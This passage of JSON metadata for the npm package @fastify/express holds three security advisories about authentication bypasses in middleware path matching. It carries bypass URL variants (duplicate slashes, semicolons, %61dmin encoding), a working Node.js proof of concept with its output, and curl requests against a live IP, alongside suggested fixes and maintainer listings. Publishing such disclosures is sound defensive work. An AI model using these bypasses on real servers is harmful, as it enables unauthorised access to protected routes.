can access protected routes (admin panels, APIs, user data) by manipulating the URL path.\n\n**Duplicate slash vector** affects applications that:\n1. Use `@fastify/express` with `ignoreDuplicateSlashes: true`\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\n**Semicolon vector** affects applications that:\n1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters)\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\nThe bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware.\n\nThe `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest) with Fastify 5.x\n- Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`)\n\n### Variant Testing\n\n**Duplicate slashes:**\n\n| Request | Express Middleware | Handler Runs | Result |\n|---------|-------------------|--------------|--------|\n| `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden |\n| `GET //admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET ///admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /.//admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET //admin//dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden |\n\n**Semicolons:**\n\n| URL | Express MW Fires | Route Matches | Result |\n|---|---|---|---|\n| `/admin` | Yes | Yes (200/403) | Normal |\n| `/admin;` | No | Yes (200) | **BYPASS** |\n| `/admin;bypass` | No | Yes (200) | **BYPASS** |\n| `/admin;x=1` | No | Yes (200) | **BYPASS** |\n| `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** |\n| `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |\n\nThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express's prefix regex succeeds because the `/admin/` part matches before the semicolon appears.\n\n### Suggested Fix\n\n`@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:\n- When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution\n- When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express\n\nThis would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-16T01:03:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/fastify/fastify-express/security/advisories/GHSA-6hw5-45gm-fj88","https://nvd.nist.gov/vuln/detail/CVE-2026-33808","https://cna.openjsf.org/security-advisories.html","https://github.com/advisories/GHSA-6hw5-45gm-fj88"],"source_kind":"github","identifiers":["GHSA-6hw5-45gm-fj88","CVE-2026-33808"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T02:00:11.926Z","updated_at":"2026-05-19T03:01:01.018Z","epss_percentage":0.00246,"epss_percentile":0.47917,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHc1LTQ1Z20tZmo4OM4ABVWs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHc1LTQ1Z20tZmo4OM4ABVWs","packages":[{"ecosystem":"npm","package_name":"@fastify/express","versions":[{"first_patched_version":"4.0.5","vulnerable_version_range":"\u003c= 4.0.4"}],"purl":"pkg:npm/%40fastify%2Fexpress"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHc1LTQ1Z20tZmo4OM4ABVWs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocndtLWhnbWotN3A5Y84ABVWr","url":"https://github.com/advisories/GHSA-hrwm-hgmj-7p9c","title":"@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes","description":"### Summary\n\n`@fastify/express` v4.0.4 contains a path handling bug in the `onRegister` function that causes middleware paths to be doubled when inherited by child plugins. This results in complete bypass of Express middleware security controls for all routes defined within child plugin scopes that share a prefix with parent-scoped middleware. No special configuration is required — this affects the default Fastify configuration.\n\n### Details\n\nThe vulnerability exists in the `onRegister` function at `index.js` lines 92-101. When a child plugin is registered with a prefix, the `onRegister` hook copies middleware from the parent scope and re-registers it using `instance.use(...middleware)`. However, the middleware paths stored in `kMiddlewares` are already prefixed from their original registration.\n\nThe call flow demonstrates the problem:\n1. Parent scope registers middleware: `app.use('/admin', authFn)` — `use()` calculates path as `'' + '/admin' = '/admin'` — stores `['/admin', authFn]` in `kMiddlewares`\n2. Child plugin registers with `{ prefix: '/admin' }` — triggers `onRegister(instance)`\n3. `onRegister` copies parent middleware and calls `instance.use('/admin', authFn)` on child\n4. Child's `use()` function calculates path as `'/admin' + '/admin' = '/admin/admin'` — registers middleware with doubled path\n5. Routes in child scope use the child's Express instance, where middleware is registered under the incorrect path `/admin/admin`\n6. Requests to `/admin/secret` don't match `/admin/admin` — middleware is silently skipped\n\nThe root cause is in the `use()` function at lines 25-26, which always prepends `this.prefix` to string paths, combined with `onRegister` re-calling `use()` with already-prefixed paths.\n\n### PoC\n\n```javascript\nconst fastify = require('fastify');\nconst http = require('http');\n\nfunction get(port, url) {\n  return new Promise((resolve, reject) =\u003e {\n    http.get('http://localhost:' + port + url, (res) =\u003e {\n      let data = '';\n      res.on('data', (chunk) =\u003e data += chunk);\n      res.on('end', () =\u003e resolve({ status: res.statusCode, body: data }));\n    }).on('error', reject);\n  });\n}\n\nasync function test() {\n  const app = fastify({ logger: false });\n  await app.register(require('@fastify/express'));\n  \n  // Middleware enforcing auth on /admin routes\n  app.use('/admin', function(req, res, next) {\n    if (!req.headers.authorization) {\n      res.statusCode = 403;\n      res.setHeader('content-type', 'application/json');\n      res.end(JSON.stringify({ error: 'Forbidden' }));\n      return;\n    }\n    next();\n  });\n  \n  // Root scope route — middleware works correctly\n  app.get('/admin/root-data', async () =\u003e ({ data: 'root-secret' }));\n  \n  // Child scope route — middleware BYPASSED\n  await app.register(async function(child) {\n    child.get('/secret', async () =\u003e ({ data: 'child-secret' }));\n  }, { prefix: '/admin' });\n  \n  await app.listen({ port: 19876, host: '0.0.0.0' });\n  \n  // Root scope: correctly blocked\n  let r = await get(19876, '/admin/root-data');\n  console.log('/admin/root-data (no auth):', r.status, r.body);\n  // Output: 403 {\"error\":\"Forbidden\"}\n  \n  // Child scope: BYPASSED — secret data returned without auth\n  r = await get(19876, '/admin/secret');\n  console.log('/admin/secret (no auth):', r.status, r.body);\n  // Output: 200 {\"data\":\"child-secret\"}\n  \n  await app.close();\n}\ntest();\n```\n\nActual output:\n```\n/admin/root-data (no auth): 403 {\"error\":\"Forbidden\"}\n/admin/secret (no auth): 200 {\"data\":\"child-secret\"}\n```\n\n### Impact\n\nComplete bypass of Express middleware security controls for all routes defined in child plugin scopes. Authentication, authorization, rate limiting, CSRF protection, audit logging, and any other middleware-based security mechanisms are silently skipped for affected routes.\n\n- No special request crafting is required — normal requests bypass the middleware\n- It affects the idiomatic Fastify plugin pattern commonly used in production\n- The bypass is silent with no errors or warnings\n- Developers' basic testing of root-scoped routes will pass, masking the vulnerability\n- Any child plugin scope that shares a prefix with middleware is affected\n\nApplications using `@fastify/express` with path-scoped middleware and child plugins with matching prefixes are vulnerable in default configurations.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest at time of discovery)\n- Fastify 5.x in default configuration\n- No special router options required (`ignoreDuplicateSlashes` not needed)\n- Affects any child plugin registration where the prefix overlaps with middleware path scoping\n- Does NOT affect middleware registered without path scoping (global middleware)\n- Does NOT affect middleware registered on root path (`/`) due to special case handling\n\n### Variant Testing\n\n| Scenario | Middleware Path | Child Prefix | Result |\n|---|---|---|---|\n| Root route `/admin/root-data` | `/admin` | N/A | Middleware runs (403) |\n| Child route `/admin/secret` | `/admin` | `/admin` | **BYPASS** (200) |\n| Child route `/api/data` | `/api` | `/api` | **BYPASS** (200) |\n| Nested child `/admin/sub/data` | `/admin` | `/admin/sub` | **BYPASS** — path becomes `/admin/sub/admin` |\n| Middleware on `/` with any child | `/` | `/api` | No bypass — `path === '/' \u0026\u0026 prefix.length \u003e 0` special case |\n\n### Suggested Fix\n\nThe `onRegister` function should store and re-use the original unprefixed middleware paths, or avoid re-calling the `use()` function entirely. Options include:\n1. Store the original path and function separately in `kMiddlewares` before prefixing\n2. Strip the parent prefix before re-registering in child scopes\n3. Store already-constructed Express middleware objects rather than re-processing paths","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-16T01:03:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/fastify/fastify-express/security/advisories/GHSA-hrwm-hgmj-7p9c","https://nvd.nist.gov/vuln/detail/CVE-2026-33807","https://cna.openjsf.org/security-advisories.html","https://github.com/advisories/GHSA-hrwm-hgmj-7p9c"],"source_kind":"github","identifiers":["GHSA-hrwm-hgmj-7p9c","CVE-2026-33807"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T02:00:11.926Z","updated_at":"2026-05-19T03:01:01.019Z","epss_percentage":0.00031,"epss_percentile":0.09233,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocndtLWhnbWotN3A5Y84ABVWr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocndtLWhnbWotN3A5Y84ABVWr","packages":[{"ecosystem":"npm","package_name":"@fastify/express","versions":[{"first_patched_version":"4.0.5","vulnerable_version_range":"\u003c= 4.0.4"}],"purl":"pkg:npm/%40fastify%2Fexpress"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocndtLWhnbWotN3A5Y84ABVWr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNnEzLTk2Y3AtNXI1bc4ABRSB","url":"https://github.com/advisories/GHSA-g6q3-96cp-5r5m","title":"@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)","description":"### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register fastify-express for Express-style middleware support\n  await fastify.register(require('@fastify/express'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) =\u003e {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) =\u003e {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) =\u003e {\n    return { message: 'Admin panel' };\n  });\n\n  fastify.get('/admin/dashboard', async (request, reply) =\u003e {\n    return { message: 'Admin dashboard' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3000 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003ctitle\u003eError\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre\u003eCannot GET /%61dmin\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n(fastify express)\n\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-20T16:35:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m","https://nvd.nist.gov/vuln/detail/CVE-2026-22037","https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40","https://github.com/fastify/fastify-express/releases/tag/v4.0.3","https://github.com/advisories/GHSA-g6q3-96cp-5r5m"],"source_kind":"github","identifiers":["GHSA-g6q3-96cp-5r5m","CVE-2026-22037"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-20T17:00:07.978Z","updated_at":"2026-05-22T01:03:34.544Z","epss_percentage":0.00034,"epss_percentile":0.10132,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnEzLTk2Y3AtNXI1bc4ABRSB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNnEzLTk2Y3AtNXI1bc4ABRSB","packages":[{"ecosystem":"npm","package_name":"@fastify/express","versions":[{"first_patched_version":"4.0.3","vulnerable_version_range":"\u003c= 4.0.2"}],"purl":"pkg:npm/%40fastify%2Fexpress"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnEzLTk2Y3AtNXI1bc4ABRSB/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@fastify/express","docker_dependents_count":6,"docker_downloads_count":9869,"usage_url":"https://repos.ecosyste.ms/usage/npm/@fastify/express","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@fastify/express/dependencies","status":null,"funding_links":["https://github.com/sponsors/fastify","https://opencollective.com/fastify"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T01:13:15.528Z","issues_count":19,"pull_requests_count":174,"avg_time_to_close_issue":18097865.14285714,"avg_time_to_close_pull_request":438600.5,"issues_closed_count":14,"pull_requests_closed_count":166,"pull_request_authors_count":25,"issue_authors_count":17,"avg_comments_per_issue":3.9473684210526314,"avg_comments_per_pull_request":0.2471264367816092,"merged_pull_requests_count":151,"bot_issues_count":0,"bot_pull_requests_count":84,"past_year_issues_count":0,"past_year_pull_requests_count":7,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":18794.0,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":5,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":0,"past_year_avg_comments_per_issue":null,"past_year_avg_comments_per_pull_request":0.14285714285714285,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/issues","maintainers":[{"login":"Fdawgs","count":60,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Fdawgs"},{"login":"SimenB","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/SimenB"},{"login":"jsumners","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jsumners"},{"login":"dancastillo","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dancastillo"},{"login":"Eomm","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Eomm"},{"login":"Tony133","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Tony133"},{"login":"climba03003","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/climba03003"},{"login":"fox1t","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fox1t"},{"login":"mcollina","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mcollina"},{"login":"delvedor","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/delvedor"}],"active_maintainers":[{"login":"Fdawgs","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Fdawgs"},{"login":"Tony133","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Tony133"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@fastify%2Fexpress/codemeta","maintainers":[{"uuid":"simenb","login":"simenb","name":null,"email":"sbekkhus91@gmail.com","url":null,"packages_count":264,"html_url":"https://www.npmjs.com/~simenb","role":null,"created_at":"2022-11-15T17:45:29.942Z","updated_at":"2022-11-15T17:45:29.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/simenb/packages"},{"uuid":"matteo.collina","login":"matteo.collina","name":null,"email":"hello@matteocollina.com","url":null,"packages_count":673,"html_url":"https://www.npmjs.com/~matteo.collina","role":null,"created_at":"2022-11-15T17:45:35.347Z","updated_at":"2022-11-15T17:45:35.347Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/matteo.collina/packages"},{"uuid":"airhorns","login":"airhorns","name":null,"email":"harry@harry.me","url":null,"packages_count":213,"html_url":"https://www.npmjs.com/~airhorns","role":null,"created_at":"2022-11-15T17:45:38.726Z","updated_at":"2022-11-15T17:45:38.726Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/airhorns/packages"},{"uuid":"galvez","login":"galvez","name":null,"email":"jonasgalvez@gmail.com","url":null,"packages_count":201,"html_url":"https://www.npmjs.com/~galvez","role":null,"created_at":"2022-11-15T17:45:29.416Z","updated_at":"2022-11-15T17:45:29.416Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/galvez/packages"},{"uuid":"delvedor","login":"delvedor","name":null,"email":"tommydelved@gmail.com","url":null,"packages_count":194,"html_url":"https://www.npmjs.com/~delvedor","role":null,"created_at":"2022-11-15T17:45:34.643Z","updated_at":"2022-11-15T17:45:34.643Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/delvedor/packages"},{"uuid":"kibertoad","login":"kibertoad","name":null,"email":"iselwin@gmail.com","url":null,"packages_count":332,"html_url":"https://www.npmjs.com/~kibertoad","role":null,"created_at":"2022-11-15T17:45:38.878Z","updated_at":"2022-11-15T17:45:38.878Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/kibertoad/packages"},{"uuid":"jsumners","login":"jsumners","name":null,"email":"james.sumners@gmail.com","url":null,"packages_count":270,"html_url":"https://www.npmjs.com/~jsumners","role":null,"created_at":"2022-11-15T17:45:36.844Z","updated_at":"2022-11-15T17:45:36.844Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jsumners/packages"},{"uuid":"simoneb","login":"simoneb","name":null,"email":"simone.busoli@gmail.com","url":null,"packages_count":312,"html_url":"https://www.npmjs.com/~simoneb","role":null,"created_at":"2022-11-15T17:45:31.749Z","updated_at":"2022-11-15T17:45:31.749Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/simoneb/packages"},{"uuid":"zekth","login":"zekth","name":null,"email":"vince.legoff@gmail.com","url":null,"packages_count":156,"html_url":"https://www.npmjs.com/~zekth","role":null,"created_at":"2022-11-15T17:45:37.591Z","updated_at":"2022-11-15T17:45:37.591Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zekth/packages"},{"uuid":"eomm","login":"eomm","name":null,"email":"behemoth89@gmail.com","url":null,"packages_count":198,"html_url":"https://www.npmjs.com/~eomm","role":null,"created_at":"2022-11-15T17:45:38.325Z","updated_at":"2022-11-15T17:45:38.325Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/eomm/packages"},{"uuid":"fox1t","login":"fox1t","name":null,"email":"maksim@sinik.it","url":null,"packages_count":169,"html_url":"https://www.npmjs.com/~fox1t","role":null,"created_at":"2022-11-15T17:45:38.415Z","updated_at":"2022-11-15T17:45:38.415Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/fox1t/packages"},{"uuid":"climba03003","login":"climba03003","name":null,"email":"kaka@kakawebsitedemo.com","url":null,"packages_count":195,"html_url":"https://www.npmjs.com/~climba03003","role":null,"created_at":"2022-11-15T17:45:38.910Z","updated_at":"2022-11-15T17:45:38.910Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/climba03003/packages"},{"uuid":"fdawgs","login":"fdawgs","name":null,"email":"frazer.dev@icloud.com","url":null,"packages_count":93,"html_url":"https://www.npmjs.com/~fdawgs","role":null,"created_at":"2022-11-15T17:45:39.149Z","updated_at":"2022-11-15T17:45:39.149Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/fdawgs/packages"},{"uuid":"metcoder95","login":"metcoder95","name":null,"email":"me@metcoder.dev","url":null,"packages_count":176,"html_url":"https://www.npmjs.com/~metcoder95","role":null,"created_at":"2023-04-13T02:16:11.758Z","updated_at":"2023-04-13T02:16:11.758Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/metcoder95/packages"},{"uuid":"ilteoood","login":"ilteoood","name":null,"email":"matteopietro.dazzi@gmail.com","url":null,"packages_count":73,"html_url":"https://www.npmjs.com/~ilteoood","role":null,"created_at":"2025-10-05T14:15:32.120Z","updated_at":"2025-10-05T14:15:32.120Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ilteoood/packages"},{"uuid":"tony133","login":"tony133","name":null,"email":"a.tripodi133@gmail.com","url":null,"packages_count":141,"html_url":"https://www.npmjs.com/~tony133","role":null,"created_at":"2026-03-05T20:02:17.552Z","updated_at":"2026-03-05T20:02:17.552Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/tony133/packages"},{"uuid":"jean-michelet","login":"jean-michelet","name":null,"email":"jean.antoine.michelet@gmail.com","url":null,"packages_count":143,"html_url":"https://www.npmjs.com/~jean-michelet","role":null,"created_at":"2025-06-23T12:46:12.339Z","updated_at":"2025-06-23T12:46:12.339Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jean-michelet/packages"},{"uuid":"gurgunday","login":"gurgunday","name":null,"email":"hey@gurgun.day","url":null,"packages_count":164,"html_url":"https://www.npmjs.com/~gurgunday","role":null,"created_at":"2023-09-07T17:39:01.599Z","updated_at":"2023-09-07T17:39:01.599Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/gurgunday/packages"}]}